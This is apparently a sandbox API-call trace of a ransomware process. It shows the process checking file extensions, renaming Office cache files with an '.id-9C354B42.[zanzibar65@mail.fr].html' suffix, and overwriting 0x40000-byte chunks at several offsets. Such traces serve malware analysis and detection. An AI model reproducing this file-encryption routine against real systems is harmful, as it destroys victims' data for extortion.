lstrlenW (lpString=".xls") returned 4 [0039.029] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.029] lstrlenW (lpString=".xlsx") returned 5 [0039.029] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.029] lstrlenW (lpString=".ppt") returned 4 [0039.029] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.029] lstrlenW (lpString=".zip") returned 4 [0039.029] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.029] lstrlenW (lpString=".rar") returned 4 [0039.029] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.029] lstrlenW (lpString=".bz2") returned 4 [0039.029] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.029] lstrlenW (lpString=".7z") returned 3 [0039.029] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.029] lstrlenW (lpString=".dbf") returned 4 [0039.029] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.029] lstrlenW (lpString=".1cd") returned 4 [0039.029] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.029] lstrlenW (lpString=".jpg") returned 4 [0039.029] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.030] lstrlenW (lpString=".doc") returned 4 [0039.030] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.030] lstrlenW (lpString=".docx") returned 5 [0039.030] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.030] lstrlenW (lpString=".pdf") returned 4 [0039.030] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.030] lstrlenW (lpString=".xls") returned 4 [0039.030] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.030] lstrlenW (lpString=".xlsx") returned 5 [0039.030] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.030] lstrlenW (lpString=".ppt") returned 4 [0039.030] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.030] lstrlenW (lpString=".zip") returned 4 [0039.030] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.030] lstrlenW (lpString=".rar") returned 4 [0039.030] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.030] lstrlenW (lpString=".bz2") returned 4 [0039.030] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.030] lstrlenW (lpString=".7z") returned 3 [0039.030] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.030] lstrlenW (lpString=".dbf") returned 4 [0039.030] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.030] lstrlenW (lpString=".1cd") returned 4 [0039.030] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.030] lstrlenW (lpString=".jpg") returned 4 [0039.030] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.031] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0039.031] lstrlenW (lpString="Proof.cab") returned 9 [0039.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.031] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=11482605) returned 1 [0039.031] CloseHandle (hObject=0x188) returned 1 [0039.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0039.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.031] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0039.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0039.313] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0039.313] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0039.313] ReadFile (in: hFile=0x188, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.317] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0039.317] ReadFile (in: hFile=0x188, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.320] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.320] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0039.320] ReadFile (in: hFile=0x188, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.334] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0039.334] WriteFile (in: hFile=0x188, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0039.351] SetEndOfFile (hFile=0x188) returned 1 [0039.351] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0039.351] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0039.351] WriteFile (in: hFile=0x188, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.352] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0039.352] WriteFile (in: hFile=0x188, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.609] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0039.609] WriteFile (in: hFile=0x188, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.611] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0039.611] CloseHandle (hObject=0x188) returned 1 [0042.199] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0042.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.200] lstrlenW (lpString=".doc") returned 4 [0042.200] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.200] lstrlenW (lpString=".docx") returned 5 [0042.200] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.200] lstrlenW (lpString=".pdf") returned 4 [0042.200] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.200] lstrlenW (lpString=".xls") returned 4 [0042.200] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.200] lstrlenW (lpString=".xlsx") returned 5 [0042.200] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.200] lstrlenW (lpString=".ppt") returned 4 [0042.200] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.200] lstrlenW (lpString=".zip") returned 4 [0042.200] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.200] lstrlenW (lpString=".rar") returned 4 [0042.200] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.200] lstrlenW (lpString=".bz2") returned 4 [0042.200] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.200] lstrlenW (lpString=".7z") returned 3 [0042.200] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.200] lstrlenW (lpString=".dbf") returned 4 [0042.200] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.201] lstrlenW (lpString=".1cd") returned 4 [0042.201] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.201] lstrlenW (lpString=".jpg") returned 4 [0042.201] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.201] lstrlenW (lpString=".doc") returned 4 [0042.201] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString=".docx") returned 5 [0042.201] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.201] lstrlenW (lpString=".pdf") returned 4 [0042.201] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString=".xls") returned 4 [0042.201] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString=".xlsx") returned 5 [0042.201] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.201] lstrlenW (lpString=".ppt") returned 4 [0042.201] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.201] lstrlenW (lpString=".zip") returned 4 [0042.201] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString=".rar") returned 4 [0042.201] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString=".bz2") returned 4 [0042.201] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.201] lstrlenW (lpString=".7z") returned 3 [0042.201] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.201] lstrlenW (lpString=".dbf") returned 4 [0042.201] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.202] lstrlenW (lpString=".1cd") returned 4 [0042.202] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0042.202] lstrlenW (lpString=".jpg") returned 4 [0042.202] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.202] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0042.202] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0042.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.202] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=2928955) returned 1 [0042.202] CloseHandle (hObject=0x188) returned 1 [0042.202] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0042.202] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.202] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0042.203] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0042.203] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0042.203] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0042.203] ReadFile (in: hFile=0x188, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.207] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0042.207] ReadFile (in: hFile=0x188, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.215] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.215] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0042.215] ReadFile (in: hFile=0x188, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.229] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0042.229] WriteFile (in: hFile=0x188, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0042.498] SetEndOfFile (hFile=0x188) returned 1 [0042.499] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0042.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0042.503] WriteFile (in: hFile=0x188, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.504] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0042.504] WriteFile (in: hFile=0x188, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.529] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0042.529] WriteFile (in: hFile=0x188, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.531] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0042.531] CloseHandle (hObject=0x188) returned 1 [0042.973] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0042.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.974] lstrlenW (lpString=".doc") returned 4 [0042.974] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.974] lstrlenW (lpString=".docx") returned 5 [0042.974] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.974] lstrlenW (lpString=".pdf") returned 4 [0042.974] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.974] lstrlenW (lpString=".xls") returned 4 [0042.974] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.974] lstrlenW (lpString=".xlsx") returned 5 [0042.974] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.974] lstrlenW (lpString=".ppt") returned 4 [0042.974] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.974] lstrlenW (lpString=".zip") returned 4 [0042.974] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.974] lstrlenW (lpString=".rar") returned 4 [0042.974] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.974] lstrlenW (lpString=".bz2") returned 4 [0042.974] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.974] lstrlenW (lpString=".7z") returned 3 [0042.974] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.974] lstrlenW (lpString=".dbf") returned 4 [0042.974] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.974] lstrlenW (lpString=".1cd") returned 4 [0042.974] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.974] lstrlenW (lpString=".jpg") returned 4 [0042.974] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.975] lstrlenW (lpString=".doc") returned 4 [0042.975] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.975] lstrlenW (lpString=".docx") returned 5 [0042.975] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0042.975] lstrlenW (lpString=".pdf") returned 4 [0042.975] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.975] lstrlenW (lpString=".xls") returned 4 [0042.975] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.975] lstrlenW (lpString=".xlsx") returned 5 [0042.975] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0042.975] lstrlenW (lpString=".ppt") returned 4 [0042.975] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.975] lstrlenW (lpString=".zip") returned 4 [0042.975] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.975] lstrlenW (lpString=".rar") returned 4 [0042.975] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.975] lstrlenW (lpString=".bz2") returned 4 [0042.975] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.975] lstrlenW (lpString=".7z") returned 3 [0042.975] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.975] lstrlenW (lpString=".dbf") returned 4 [0042.975] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.975] lstrlenW (lpString=".1cd") returned 4 [0042.975] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0042.975] lstrlenW (lpString=".jpg") returned 4 [0042.975] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.976] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0042.976] lstrlenW (lpString="VisioLR.cab") returned 11 [0042.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0043.156] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=50823389) returned 1 [0043.156] CloseHandle (hObject=0x1f8) returned 1 [0043.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 